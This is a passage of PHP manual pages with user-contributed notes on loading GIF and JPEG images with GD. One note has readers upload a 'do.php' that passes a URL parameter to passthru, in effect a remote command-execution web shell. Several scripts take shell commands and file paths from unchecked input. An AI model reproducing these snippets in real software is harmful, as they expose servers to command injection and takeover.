  set_time_limit(0); // some odd gifs take a long time (example, a 25K gif, 700x700, mostly blank)
geoffrey at poulet dot org
27-Feb-2003 11:22
After hours of search, I've finally found a program which can convert JPG to GIF.
IJG - The Independent JPEG Group's JPEG software
Version 6 which support GIF (read and write with LZW)
and the version 6b which support GIF (write only without LZW)

The name of the file is: jpegsrc.v6.tar.gz
fezber at yamasoft dot com
13-Feb-2003 11:27
For users who just want GIF read (not write) support but:
1) Don't want to patch GD libs
2) Don't want to recompile something
3) Don't have permissions to install conversion packages
4) Any other reason...

I created a small php script (around 25KB) which lets you load a GIF from a file (you even can specify the image index on animated GIFs) and then convert it to a PNG or BMP file.

If I take one example:

<?
include("gif.php");

$gif = gif_loadFile("./test.gif");

if($gif) {
   // GIF file successfully opened
   if(gif_outputAsPNG($gif, "./test.png")) {
       // Now, just use ImageCreateFromPng...
       $img = ImageCreateFromPng("./test.png");

       if($img) {
           header("Content-Type: image/jpeg");
           ImageJPEG($img);
           ImageDestroy($img);
       }
       else {
           // Could NOT open PNG
       }
   }
   else {
       // Could NOT convert GIF to PNG...
   }
}
else {
   // GIF not loaded...
}
?>

Of course, it's slower than using appropriate software and/or libraries but it's quite useful for reading occasionaly some GIF files.

You'll find the gif.php source code at: http://www.yamasoft.com/php-gif.zip

Fabien
Ady at freebsd dot ady dot ro
12-Jan-2003 03:20
FreeBSD users are lucky to have the option of compiling GIF support in GD2.x through the ports system.
All you need to do is to export the "WITH_LZW=yes" global variable when compiling the graphics/gd2 port, e.g.:

# cd /usr/ports/graphics/gd2
# export WITH_LZW=yes
# make && make install

Then recompile and (re)install the www/mod_php4 port and you are in business... :)

Good luck!
unknown at hotmail dot com
15-Nov-2002 10:00
If GD doesn't support GIFs & gif2png is not available & you are not an administrator, you can install it in your account like this:

create do.php:
<?
  global $do;
  passthru($do);
?>

then upload gif2png-2.4.6.tar.gz, unpack and install it:
do.php?do=tar+-xvzf+gif2png-2.4.6.tar.gz
do.php?do=gif2png-2.4.5/configure
do.php?do=make

Then remove all files except gif2png. Don't forget to remove do.php as it is a serious security hole in your system.

Njoy!

Anze
senbei at terra dot es
10-May-2002 01:31
Since gif support is removed from the more recent GD libraries, you can still use it via an external program.
I've read somewhere about using ImageMagick and I tried myself but it's a quite big package and needs the X11 libs which are not available in some servers.
The other option I found is to use a little prog "gif2png" http://www.tuxedo.org/~esr/gif2png/
to convert gif files to png ones. It works under Unix and dos/win32/winnt and is very straightforward.
If you need to modify an user uploaded gif file to save it into your site just use this:

$path=$_FILES["photo"]["tmp_name"];
passthru("/usr/bin/gif2png -d -O ".$path);
$src_img=imagecreatefrompng( dirname($path)."/".basename($path, ".gif").".png");

This will convert the gif to a png and delete the gif file, then it will open the png with the GDlib so you can perform any operation on it.
philikon at gmx dot net
25-Jun-2001 11:50
Patches to the GD library that make GIF support available can be found at
http://www.rime.com.au/gd/
chuckg at infinite9 dot com
22-Mar-2001 04:05
I just thought I'd let you guys know of a workaround for the lack of Gif support in the latest GD...aside from adding the patch.  It works just as good, from what I can tell, and is quite nice ;)

Here goes:
<?
//Just grab some general image info
$img = "path/to/image.gif";
$imageInfo = GetImagesize($img);

if ( $imageInfo[2] == 1 ) {
   //it's a gif
   $file = fread(fopen($path, "r"), filesize($path));

   $fileHeader = "image/gif";
   Header("Content-Type: ".$fileHeader);
   echo $file;
   fclose($file);
}
?>

basically what that does is reads the file..through the "GetImageSize", which still returns if it's a GIF or not, (thank god), then if it's a gif, opens the file through normal filestream, sets the header to image type "gif" then prints it out.  Same as doing "ImageCreateFromGif($img)" and "ImageGif($img)", except that it doesn't require GD Gif support.  If you have any questions just ask me via email (chuckg@infinite9.com)
anthony dot atkins at vt dot edu
17-May-2000 09:05
<pre>
function myImageCreateFromGif($file_or_url) {

       $dummy_file = "/tmp/dummy.gif";

       # if this is a url, use fopen to get the file data, then
       # save it to a dummy file
       if (preg_match("/(http|ftp):\/\//i", $file_or_url)) {
               # open the file using fopen, which supports remote URLs
               $input = fopen($file_or_url, "rb");

               # read the contents of the file
               # will accept files up to 10Mb, but will probably get
               # and EOF before that, we have to do it this way because
               # filesize isn't designed to work with URLs.  sigh.
               $image_data = fread($input, 10000000);

               fclose($input);

               # write the contents to a dummy file
               $output = fopen("$dummy_file", "wb");
               fwrite($output, $image_data);
               fclose($output);

               # create the gif from the dummy file
               $image = ImageCreateFromGif($dummy_file);

               # get rid of the dummy file
               unlink($dummy_file);

       }

       # if it's not a URL, we can simply open the image directly
       else {
               $image = ImageCreateFromGif($file_or_url);
       }

       if ($image) { return $image; }
       else { return 0; }
}

if (!$url) { $url = "http://scholar.lib.vt.edu/images/cornholio.gif";}
$image = myImageCreateFromGif($url);

if ($image == "" || $image == 0) {
       print "<p>No Image data was returned...</p>\n";
}
else {
       header("Content-Type: image/gif\n\n");
       ImageGif($image);
}

?>
</pre>
add a note add a note

后退 | 起点 | 前进
imagecreatefromgd | 上一级 | imagecreatefromjpeg


imagecreatefromjpeg

(PHP 3 >= 3.0.16, PHP 4, PHP 5)

imagecreatefromjpeg -- 从 JPEG 文件或 URL 新建一图像

说明

resource imagecreatefromjpeg ( string filename )

imagecreatefromjpeg() 返回一图像标识符，代表了从给定的文件名取得的图像。

imagecreatefromjpeg() 在失败时返回一个空字符串，并且输出一条错误信息，不幸地在浏览器中显示为断链接。为减轻调试工作下面的例子会产生一个错误 JPEG：

例子 1. 处理创建过程中的错误

<?php
function LoadJpeg($imgname)
{
    $im = @imagecreatefromjpeg($imgname); /* Attempt to open */
    if(!$im) { /* See if it failed */
        $im  = imagecreatruecolor(150, 30); /* Create a blank image */
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);
        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);
        /* Output an errmsg */
        imagestring($im, 1, 5, 5, "Error loading $imgname", $tc);
    }
    return $im;
}
?>

注: JPEG 支持仅在 PHP 与 GD-1.8 或更高版本一起编译时可用。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

add a note add a note User Contributed Notes
06-Jun-2006 01:42
regarding e dot a dot schultz at gmail dot com post

i tried the script (with the bugfixes posted later) and still got memorytrouble. most often it is still not enough memory to upload big images, even if it seems to calculate right. so this helped my perfectly:

$newLimit = $newLimit+3000000; (before passing it to the ini_set() function).

extremly simple and maybe not the best solution, but it works for now (you sure can give it less than an additional 3mb, just try what works for you).
ben dot lancaster at design-ontap dot co dot uk
24-May-2006 08:21
It is worth noting that all of the imagecreate* functions quite intentionally do not look in the include_path
anatol at nugob dot org
05-May-2006 01:59
When working with uploaded jpeg files it is usually a good idea to execute a little but very useful program called jhead
( http://www.sentex.net/~mwandel/jhead/ ).

This will clean up unnecessary jpeg header information which can cause trouble. Some cameras or applications write binary data into the headers which may result in ugly results such as strange colors when you resample the image later on.

Usage:
<?php
exec("/path/to/jhead -purejpg /path/to/image");
// for example when you uploaded a file through a form, do this before you proceed:
exec("/path/to/jhead -purejpg ".$file['tmp_name']);
?>

I didn't have the chance to test this but I guess this might even solve the problem caused by images that were taken with Canon PowerShot cameras which crash PHP.

This is from the jhead documentation: "-purejpg: Delete all JPEG sections that aren't necessary for rendering the image. Strips any metadata that various applications may have left in the image."

jhead got some other useful options as well...
webmaster at killer dot com dot ar
26-Apr-2006 04:16
The prior script by "e dot a dot schultz at gmail dot com", have a bug

$memoryLimitMB don't have a value

Add
         $memoryLimitMB = 8;
Before
         $memoryLimit = 8 * $MB;
And change that line for:
         $memoryLimit = $memoryLimitMB * $MB;

--------------

Something similar happens with the script by "JohnBrook at pobox dot com"

$memoryLimit don't have a value

Change:

$memoryLimit = $memoryLimit * $MB;

For:
  $memoryLimit = $memoryLimitMB * $MB;
e dot a dot schultz at gmail dot com
09-Apr-2006 07:35
In John's human readable code version of Karolis code to dynimicly allocate need memory there are a few bugs. If you didn't compile with the "--enable-memory-limit" option, this script will error with a level E_ERROR. Bellow is a fixed version rapped as a function. To view replacement functions for memory_get_usage() look at http://us2.php.net/manual/en/function.memory-get-usage.php

<?php
function setMemoryForImage( $filename ){
   $imageInfo = getimagesize($filename);
   $MB = 1048576;  // number of bytes in 1M
   $K64 = 65536;    // number of bytes in 64K
   $TWEAKFACTOR = 1.5;  // Or whatever works for you
   $memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                           * $imageInfo['bits']
                                           * $imageInfo['channels'] / 8
                             + $K64
                           ) * $TWEAKFACTOR
                         );
   //ini_get('memory_limit') only works if compiled with "--enable-memory-limit" also
   //Default memory limit is 8MB so well stick with that.
   //To find out what yours is, view your php.ini file.
   $memoryLimit = 8 * $MB;
   if (function_exists('memory_get_usage') &&
       memory_get_usage() + $memoryNeeded > $memoryLimit)
   {
       $newLimit = $memoryLimitMB + ceil( ( memory_get_usage()
                                           + $memoryNeeded
                                           - $memoryLimit
                                           ) / $MB
                                       );
       ini_set( 'memory_limit', $newLimit . 'M' );
       return true;
   }else
       return false;
   }
}
?>
Christoph Ziegenberg
14-Mar-2006 05:26
Matt reported that PHP crashs using imagecreatefromjpeg() - that's true and it took me a lot of time to find the error - but not only the Canon PowerShot S70, also the Canon PowerShot  A400 lets PHP (5.1.2) crash, without any chance to catch it!

So I exclude all Canon PowerShot images with the following check:

   function check_canonpowershot($filename)
   {
       if (strpos(file_get_contents($filename), 'Canon PowerShot') !== false)
       {
           return true;
       }
       return false;
   }
JohnBrook at pobox dot com
10-Feb-2006 11:14
Also, here is the same formula presented in a somewhat more human-readable way, if you'd rather:

<?php
$MB = Pow(1024,2);  // number of bytes in 1M
$K64 = Pow(2,16);    // number of bytes in 64K
$TWEAKFACTOR = 1.8;  // Or whatever works for you
$memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                       * $imageInfo['bits']
                                       * $imageInfo['channels'] / 8
                         + $K64
                       ) * $TWEAKFACTOR
                     );
$memoryHave = memory_get_usage();
$memoryLimitMB = (integer) ini_get('memory_limit');
$memoryLimit = $memoryLimit * $MB;

if ( function_exists('memory_get_usage')
     && $memoryHave + $memoryNeeded > $memoryLimit
   ) {
   $newLimit = $memoryLimitMB + ceil( ( $memoryHave
                                     + $memoryNeeded
                                     - $memoryLimit
                                     ) / $MB
                                   );
   ini_set( 'memory_limit', $newLimit . 'M' );
}
?>
JohnBrook at pobox dot com
10-Feb-2006 10:51
Additional note on allocating memory: The 1.65 in the formula provided below by yaroukh and Karolis is evidently a "fudge factor" arrived at through experimentation. I found that I had to nudge it up a little bit in order to accurately predict the memory that would be needed, otherwise the allocation still failed. In my case, I went right to 1.8 and that has worked so far. Your mileage may vary, so experiment as needed.
yaroukh at gmail dot com
09-Feb-2006 08:29
Hello Karolis

My solution was intended to solve situations when your webhoster puts a limit on the memory usage; in such a situations ini_set doesn't work ofcourse (even for variables that have 'PHP_INI_ALL' flag in a typical PHP-installation).

Have a nice day
  Yaroukh
Karolis Tamutis karolis.t_AT_gmail.com
31-Dec-2005 09:04
In addition to yaroukh at gmail dot com comment.

It seems that even a small image can eat up your default memory limit real quick. Config value 'memory_limit' is marked PHP_INI_ALL, so you can change it dynamically using ini_set. Therefore, we can "allocate memory dynamically", to prevent those memory limit exceeded errors.

<?php

$imageInfo = getimagesize('PATH/TO/YOUR/IMAGE');
$memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

if (function_exists('memory_get_usage') && memory_get_usage() + $memoryNeeded > (integer) ini_get('memory_limit') * pow(1024, 2)) {

   ini_set('memory_limit', (integer) ini_get('memory_limit') + ceil(((memory_get_usage() + $memoryNeeded) - (integer) ini_get('memory_limit') * pow(1024, 2)) / pow(1024, 2)) . 'M');

}

?>
Matt with imdllc.net
14-Sep-2005 03:10
In running 4.3. Found out that jpegs generated by Canon PowerShot S70's cause imagecreatefromjpeg() to crash PHP [page cannot be displayed]. Made this function to check for it:
<?php
function check_s70($filename) {
       $thereturn = false;
       $handle = fopen($filename, "r");
       $contents = fread($handle, 159);
       fclose($handle);
       if (substr($contents, 156, 3) == "S70") {
           $thereturn = true;
       }
       return $thereturn;
   }
?>
yaroukh at gmail dot com
21-Aug-2005 07:15
Estimated memory needed for ImageCreateFromJPEG

First I supposed simple width*height*bpp will be enough, it isn't though; there is some pretty big overhead.

$imageInfo = GetImageSize($imageFilename);
$memoryNeeded = Round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

With memory_limit enabled running out of memory causes script to crash; above written will tel you how much memory you're gonna need for creating an image-resource out of image-file. So in conjunction with Memory_Get_Usage() and Get_CFG_Var('memory_limit') you can avoid the mentioned ending. (Yet there won't be too many images blocked from processing that would still fit in the memory, as the results of this are pretty accurate.)
rich at launchcode dot co dot uk
02-Aug-2005 09:54
If you get this error: "Warning: imagecreatefromjpeg(): gd-jpeg: JPEG library reports unrecoverable error" then check the JPEG files. If they are saved in CMYK format (instead of RGB) then GD will fail to load them (tested with GD 2.0.12)
elyoukey at hotmail dot com
02-Aug-2005 03:31
here is a code, inspired by the button of
tl at comvironment dot com

but here, you can make as many buttons as you need by cutting the image in as many parts as defined in the table

<?php
class Button_Array{
   var $tab_button = array();// the text of each button you want to create
   var $im;//the image file

   function Button_Array($fileName, $tab_string){
       $this -> tab_button = $tab_string;
       $this -> im = $fileName;

       //parameters
       $font  = 10;

       //cut the full image in X parts
       //X = the number of buttons you want
         $imgFull=ImageCreateFromJPEG($this -> im);
         list($width, $heightFull, $type, $attr) = getimagesize($this -> im);

         $height = round($heightFull/sizeof($this->tab_button),0);

       for ($i=0;$i<sizeof($this->tab_button);$i++ ) {

           $pos=$i*$height;

           $imgParts[$i]=ImageCreateTrueColor($width,$height);
           if(imagecopy($imgParts[$i],$imgFull,0,0,0,$pos,$width,$height)){

               //manips
               $textColor = imagecolorallocate ($imgParts[$i],0,20,90);
               ImageString ($imgParts[$i],$font,200,10,$this->tab_button[$i],$textColor);

               //cration du fichier
               ImageJPEG($imgParts[$i] , $this->tab_button[$i].'.jpg',85);
           }
       }
   }
}

$tab[]="topic1";
$tab[]="topic2";
$tab[]="topic3";
$tab[]="topic4";
$tab[]="more topics";

$tabButton=new Button_Array("a.jpg",$tab);

echo "<table border=0 cellspacing=0 cellpadding=0>";
foreach ($tab as $source) {
   echo "<tr><td><img src='$source.jpg'></td></tr>";
}
echo "</table>";

?>
miczimbett at gmail dot com
31-Jul-2005 08:30
the check_jpeg function listed above has a small "bug" when u set $fix=true... after the fix, the function does not close the file... and the imagecreatefromjpeg would still crash on an open file.

   //# [070203]
   //# check for jpeg file header and footer - also try to fix it
   function check_jpeg($f, $fix=false ){
       if ( false !== (@$fd = fopen($f, 'r+b' )) ){
           if (fread($fd,2)==chr(255).chr(216) ){
               fseek ( $fd, -2, SEEK_END );
               if ( fread($fd,2)==chr(255).chr(217) ){
                   fclose($fd);
                   return true;
               }else{
                   if ($fix && fwrite($fd,chr(255).chr(217)) ){
                       fclose($fd);
                       return true;
                   }
                   fclose($fd);
                   return false;
               }
           } else {
               fclose($fd);
               return false;
           }
       } else {
           return false;
       }
   }
linus at flowingcreativity dot net
30-May-2005 12:20
I am using PHP 4.3.8 and GD 2.0.23-compatible, and this function does not return an empty string on failure as stated. This line:

<?php
var_dump(imagecreatefromjpeg('bogus filename'));
?>

outputs:

bool(false)

Of course this doesn't matter unless you're using a strict comparison operator to evaluate the result, but I thought I'd point it out.
Zap
14-Apr-2005 10:14
Under some configurations imagecreatefromjpeg will create files that are owned by the webserver rather than the php user. For example, php may be run as phpuser and the image will be created under apache.

This can lead to permissions problems - only a +0777 will be enough to be able to create a picture.

My solution was to chmod over ftp to 0777 just before the picture is written then change back to 0755 when the image has been created.

The alternative of course would be to have a properly configured system...
Angel Leon
31-Mar-2005 10:13
This is a very useful script when you have hundreds of images and you need a quick setup for a thumbnail, where you can select how many
pictures per row, size of the thumbnail, and the size of the pictures when clicked, all in one script. Just throw all your images and this script in a file named index.php or index.html (if your apache httpd.conf defaults to html and runs .html as php).

Script also contains simple text watermarking. See function thumbImage()
and modify to add image watermarking if you like.

<?
// 30 Minutes Thumbnail script written by Angel Leon from wedoit4you.com
// Licensed under the GPL
// Courtesy of wedoit4you.com

//Instructions:
//copy this script wherever you have a bunch of .jpgs
// Invoke your thumbnail like this http://mysite.com/imageFolder/index.php
//where index.php is this script.

//Modify and redistribute but don't remove our trademark.

//configure script here

//pictures per row
$row_size = 3;

//height of the pictures in thumbnail
$thumb_height = 200;

//height of the pictures when clicked (to save bandwidth)
$big_image_height=668;

//short name of your site
$waterMark = "mysite.com";

$dh = opendir(".");
$files = array();
while (($file = readdir($dh)) !== false) {
  if (ereg("jpg",$file) || ereg("gif",$file) || ereg("png",$file)) {
  $files[] = $file;
  }
}
closedir($dh);

if ($show_image) {
  thumbImage($show_image,$big_image_height,$waterMark);
} else if ($thumb_image) {
  thumbImage($thumb_image,$thumb_height,$waterMark);
}
else {
  echo "<center>" . createThumbTable($files,$row_size) . "</center>";
}

function createThumbTable($files,$pics_wide) {
  $row = intval(count($files)/$pics_wide);
  $picIndex = 0;

  $rs = "Mostrando " . count($files) . " imagenes<br>";
  $rs .= "<table border=0 cellspacing=1 cellpadding=0 style='border:1px solid black'>\n";
  for ($i=0; $i <$row; $i++) {
   $rs .= "\t<tr>\n";
   for ($picIndex,$j=0;
     $j < $pics_wide && $picIndex < count($files);
     $j++,$picIndex++) {
     $rs .= "\t\t<td><a href=index.php?show_image=" .
   $files[$picIndex] . ">" .
   "<img src=index.php?thumb_image=" .
     $files[$picIndex] . " border=0 title='Copyright wedoit4you.com'></a></td>\n";
     //$rs .= "<td>i=$i / $j=$picIndex</td>";

   }
   $rs .= "\t</tr>\n";
  }//for
  $rs .= "<tr><td colspan=$pics_wide align=center>Free Thumbnail script by <a href=http://www.wedoit4you.com>wedoit4you.com</a><br>Written by Angel Leon (March 2005)</td></tr></table>\n";

  return $rs;
} //createThumbTable

function thumbImage($file,$img_height,$waterMark) {

  $img_temp = imagecreatefromjpeg($file);

  $black = @imagecolorallocate ($img_temp, 0, 0, 0);
  $white = @imagecolorallocate ($img_temp, 255, 255, 255);

  $font = 2;

  $img_width=imagesx($img_temp)/imagesy($img_temp)*$img_height;
  $img_thumb=imagecreatetruecolor($img_width,$img_height);

  imagecopyresampled($img_thumb,
  $img_temp,0,0,0,0,$img_width,
  $img_height,
  imagesx ($img_temp),
  imagesy($img_temp));

  $originx = imagesx($img_thumb) - 100;
  $originy = imagesy($img_thumb) - 15;

  @imagestring ($img_thumb, $font, $originx + 10, $originy,
             $waterMark, $black);
  @imagestring ($img_thumb, $font, $originx + 11, $originy - 1,
             $waterMark, $white);

  header ("Content-type: image/jpeg");
  imagejpeg($img_thumb, "", 60);

  imagedestroy ($img_thumb);
}

?>
dmf four one fiive at yahoo dot com
03-Mar-2005 08:08
Another thing to note, is the file not might actually be a jpeg , even though the filename ends in .jpg. If this is the case the command won't work. You will need imagecreatefromgif()

The easiest way to check is to use your favorite editor like vi.

On Line one it will tell you if its a gif or a jpg..

I took a quick look at a few image files. the gifs say GIF87a and the real jpegs should say JFIF or something like that.
ceefour -at!- gauldong.net
25-Feb-2005 06:24
I have to say recompiling PHP from the sources and enabling JPEG support in gd took me awhile to figure out.

Somewhere especially configure --help should have stated that --with-jpeg-dir is MANDATORY if you want to have JPEG support. And even if you did so, it doesn't mean you'll get it. If it's wrongly configured, no error is going to be output, all you get is "no JPEG support". What's more confusing is when JPEG support is disabled phpinfo won't say "JPEG Support: disabled", but just omit the entry so you won't even realize something is wrong.

If you recompile PHP or gd, make sure:
- rm -f config.cache FIRST
- make clean (this helps A LOT), actually you can just delete modules/gd.*, and every *.o in ext/gd. this part actually gave me the best headache
- ./configure --with-jpeg-dir=/usr/lib OR any other directory which contains the BINARY library of libjpeg
- make, make install

phpinfo should now display jpeg support... good luck.
(you lucky guys who already have PHP 5 installed on your server... you don't have to go through all the mess I had)
tl at comvironment dot com
25-Feb-2005 05:53
I made a script to produce, save, and use dynamic buttons simultaneously. If the file exists, it will be shown as usual. If not, this script produces a new image and saves it. You only need the background (back.jpg). Maybe it is useful for somone.

<?php

class Button {

   var $ib = 'back.jpg';
   var $im;

   function Button ($fileName, $string) {
       $this -> im = $fileName;
       if(!file_exists($this -> im)) {
           $this -> _createButton($string);
       }
   }

   function getFileName() {
       return $this -> im;
   }

   function _createButton($string) {
       $font  = 4;
       $width  = max(400,(ImageFontWidth($font) * strlen($string)) + 4);
       $height = max(20,(ImageFontHeight($font) + 4));

       $imgBack=ImageCreateFromJPEG($this -> ib);
       $imgText=ImageCreateTrueColor($width,$height);

       $textColor = imagecolorallocate ($imgText,90,90,90);

       ImageCopy($imgText,$imgBack,0,0,0,0,$width,$height);
       ImageString ($imgText,$font,2,2,$string,$textColor);
       ImageJPEG($imgText,$this -> im,85);
       ImageDestroy($imgBack);
       ImageDestroy($imgText);
       chmod ($this -> im,0644);
   }

}

$button = new Button('button.jpg','button text');
echo '<img src="' . $button -> getFileName() . '">';

?>
cs at kainaw dot com
02-Nov-2004 03:09
The ImageCreateFromJPEG() function is capable of throwing an emalloc() error.  If this happens, the script will die, but the error will be in your error logs.  You should ensure that you have memory available before creating a large image from a jpeg file.
webmaster at kautto dot se
25-Oct-2004 06:48
Concerning the path discussion. A relative path works just fine, if it is used properly. The thing is just to keep track of where in the file system you actually are calling the function from.

E.g. including file A into file B, and then executing file A. Now calls made in file B will act as if they actually are made file A, due to the inclusion. So a well designed filesystem is very important. Also moving a file might lead to this type of path related problems.

Hope this made any sence! :)
Jezu
22-Oct-2004 06:36
I have noticed that Nokia's old camera-phones create non-standard JPEG's.

Nokias' JPEG doesn't end with 0xFFD9. Add 0xFFD9 end of file and image works fine with imagecreatefromjpeg(). Willertan1980 already sent code to do that.
dmjoe
16-Jul-2004 07:46
This function DOES accept paths in the filename, just make sure they're absolute paths.  A relative path won't work, at least it didn't for me. This is in response to jonlup's comment from june 25:

"I played with "imagecreatefromjpeg()" function and, after a few tests, I found that the filename that it requires as parameter should be only a simple filename: the function does not work if in the string of the filename is specified a path to that file."
30-Jun-2004 07:55
here is my clear method to resize images
you can check how it works on http://www.jetevents.pl

<?php
   $maxx=100;    // maximum width
   $maxy=75;    // maximum height

   $name=strtolower(substr($_FILES['file']['name'],0,-4)).".jpg";  // name of file - must be jpg
     $size = GetImageSize ($_FILES['file']['tmp_name']);        // params of image

   if ($size[0]>$size[1]) {$sizemin[0]=$maxx;$sizemin[1]=$maxy;};
   if ($size[1]>$size[0]) {$sizemin[0]=$maxy;$sizemin[1]=$maxx;};

   $im=@imagecreatefromjpeg($path);                // path to your gallery
   $small = imagecreatetruecolor($sizemin[0], $sizemin[1]);    // new image
   ImageCopyResampled($small, $im, 0, 0, 0, 0, $sizemin[0], $sizemin[1], $size[0], $size[1]);
   // below is main function resampling image

   ImageDestroy($im);                        // free memory

   if (ImageJPEG($small,$path,100))                // try to save image
       {
       echo "File $path has been written<br>\n";            // success
       echo "size: ".$sizemin[0]."x".$sizemin[1] ."<br>\n";
       }
     else
       {
       echo "<font color=red><b>";                    // failed to write file
       echo "Error ! File has not been written.";
       echo "</b></font><br>\n";
       };

?>
jonlup at yahoo dot com
26-Jun-2004 10:04
I played with "imagecreatefromjpeg()" function and, after a few tests, I found that the filename that it requires as parameter should be only a simple filename: the function does not work if in the string of the filename is specified a path to that file.
The quickest workaround found: do a chdir() to the directory of your image file before try to use "imagecreatefromjpeg()" with your file as parameter.
I did not test the other functions (imagecreatefromgd2(), imagecreatefromgd(), imagecreatefromgif() etc.), but I suppose that they work in the same way.
I think that little trick should be specified in the manual.
Javier Rayon
26-May-2004 02:55
Using imagecreate() combined with imagecreatefromjpeg() in PHP 4.3.0 and up creates wrong color jpeg's.

Use imagecreatetruecolor() instead of imagecreate() for right color images.
Sne
08-Apr-2004 09:02
small script that calculates square (in %) of eche color on the PNG image.

<?
$t1=time();
$im1=ImageCreatefrompng('1.png'); //name of the png file
echo "<img src=1.png>";
$widthIm=ImageSX($im1);
$heightIm=ImageSY($im1);
$total=$widthIm*$heightIm;
$cvcol=imagecolorstotal($im1);
   for ($i=0; $i<$widthIm; $i++){
   for ($j=0; $j<$heightIm; $j++){
   $tochka=imagecolorat($im1,$i,$j);
   $num[$tochka]=$num[$tochka]+1;
   }
   }
echo "<br><br>$widthIm x $heightIm ($total pixels).";
echo " Number of colors in pallette - $cvcol<br><br>
";
echo "<table width=400 border =1>";
for ($k=0; $k<$cvcol; $k++) {
$proc=round($num[$k]/$total*100, 2);
$Palitra =ImageColorsForIndex($im1,$k);
$Palitra[red]= dechex($Palitra[red]);
$Palitra[green]= dechex($Palitra[green]);
$Palitra[blue]= dechex($Palitra[blue]);
echo "<tr><td>$k</td><td width=100>$Palitra[red]-$Palitra[green]-$Palitra[blue]</td>";
echo "<td width=100>$proc %</td>";
echo "<td width=100 bgcolor=$Palitra[red],$Palitra";
echo "[green],$Palitra[blue]>&nbsp;</td></tr>";
}
echo "</table>";
imagedestroy($im1);
$t2=-$t1+time();
echo "<br>Time past: $t2 sec";
?>
jdolecek at NetBSD dot org
24-Feb-2004 08:16
ImageCreateFromJPEG() as of GD 2.0.15 (as bundled with PHP 4.3.4) doesn't handle 4-channel (with alpha channel) JPG images well, the function fails and emits message 'Unsupported color conversion request' to stderr. The solution I found for this is to use NetPBM tools - 'jpegtopnm < orig.jpg | pnmtojpeg > new.jpg' creates a JPG image PHP GD library can open just fine.
willertan1980 at yahoo dot com
20-Aug-2003 07:14
did you found that sometimes it hang the php when imagecreatefromjpeg() run on bad JPEG. I found that this is cause by the JPEG file U used dont have EOI (end of image)
the FF D9 at the end of your JPEG

JPEG image should start with 0xFFD8 and end with 0xFFD9

// this may help to fix the error
function check_jpeg($f, $fix=false ){
# [070203]
# check for jpeg file header and footer - also try to fix it
   if ( false !== (@$fd = fopen($f, 'r+b' )) ){
       if ( fread($fd,2)==chr(255).chr(216) ){
           fseek ( $fd, -2, SEEK_END );
           if ( fread($fd,2)==chr(255).chr(217) ){
               fclose($fd);
               return true;
           }else{
               if ( $fix && fwrite($fd,chr(255).chr(217)) ){return true;}
               fclose($fd);
               return false;
           }
       }else{fclose($fd); return false;}
   }else{
       return false;
   }
}
office at 4point-webdesign dot com
09-Jul-2003 03:47
Here's the answer for your 256 color only problem!!!
use these functions in order then it works fine!

$img_src=imagecreatefromjpeg('yoursource.jpg');
$img_dst=imagecreatetruecolor(20,20);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, 20, 20, 20, 20);
imagejpeg($img_dst, $g_dstfile, 100);
imagedestroy($img_dst);

Greetz, GTB
lordneon at deskmod dot com
24-Jun-2003 05:00
For Windows users who wants to enable the GD libary:

It took me some while to figure this out, but in the end it worked (and still does) great.

1. First download the latest (stable recommended) version of php
2. Unzip to f.ex c:\php\

3. Now you should have a file in c:\php\ that's named php.ini.dist (or something like that). Rename that to php.ini and copy it to the root of you Windows directory.

4. Open the php.ini file (the easiers way is to open the run promnt at your start menu and just type php.ini and hit enter).

5. Search (ctrl+f) for extension_dir. The default value is set to "./", make it to "./extensions"

6. Now you need to find where in the php.ini the modules for Windows is located. Search for gd.

7. Remove the ; char infront of this line: extension=php_gd2.dll

8. Try make a php script with some image functions and see if it works. F.ex $im = imageCreate("test.jpg");
If you get a message that says something like imageCreate function doesn't exist the gd libary is not loaded.

9. That's all. Have fun using GD in Windows :)
atapi103 at hotmail dot com
01-Jun-2003 04:14
As jpsy sugested Windows users can download the zip to get the gd2_dll extension

OR

If you already installed with the windows installer and are too lazy to get the zip you can go here

http://www.coupin.net/gd-freetype/windows.php

Download the php_gd2.dll file put it wherever you want, and change the

extension_dir=C:\php\extensions

Wherever you saved the dll to is the path you put in, remember to uncomment

extension=php_gd2.dll

Do not uncomment the one above for gd.dll (the one without the 2)
tom at ierna dot com
01-Feb-2003 07:37
Doing a "make clean", regardless of which platform you're on (including MacOS X) should clean up the source tree enough to ensure that config changes take effect...
tuxedobob at mac dot com
16-Jan-2003 02:27
Note for PHP 4.3 under Mac OS X 10.2.3:

I originally compiled using only --with-mysql --with-apxs. When this compiled correctly (for a change; previous versions didn't), I then tried adding --with-gd --with-jpg-dir and a bunch of other goodies, but they didn't add in. Apparently removing config.cache isn't sufficient. My advice is to simply delete the entire folder, and try your new configure command on a clean untarred source folder.
bpiere21 at hotmail dot com
30-Jun-2002 09:57
###--- imagecreatefromjpeg only opens JPEG files from your disk.
###--- To load JPEG images from a URL, use the function below.

function LoadJPEG ($imgURL) {

   ##-- Get Image file from Port 80 --##
   $fp = fopen($imgURL, "r");
   $imageFile = fread ($fp, 3000000);
   fclose($fp);

   ##-- Create a temporary file on disk --##
   $tmpfname = tempnam ("/temp", "IMG");

   ##-- Put image data into the temp file --##
   $fp = fopen($tmpfname, "w");
   fwrite($fp, $imageFile);
   fclose($fp);

   ##-- Load Image from Disk with GD library --##
   $im = imagecreatefromjpeg ($tmpfname);

   ##-- Delete Temporary File --##
   unlink($tmpfname);

   ##-- Check for errors --##
   if (!$im) {
       print "Could not create JPEG image $imgURL";
   }

   return $im;
}

$imageData = LoadJPEG("http://www.example.com/example.jpg");

Header( "Content-Type: image/jpeg");

imagejpeg($imageData, '', 100);
1 at chatways dot com
08-Feb-2002 03:04
imagecreatefromjpeg doesn't seem to support cmyk-jpgs :-(
mihkel at raba dot ee
06-Jan-2002 05:00
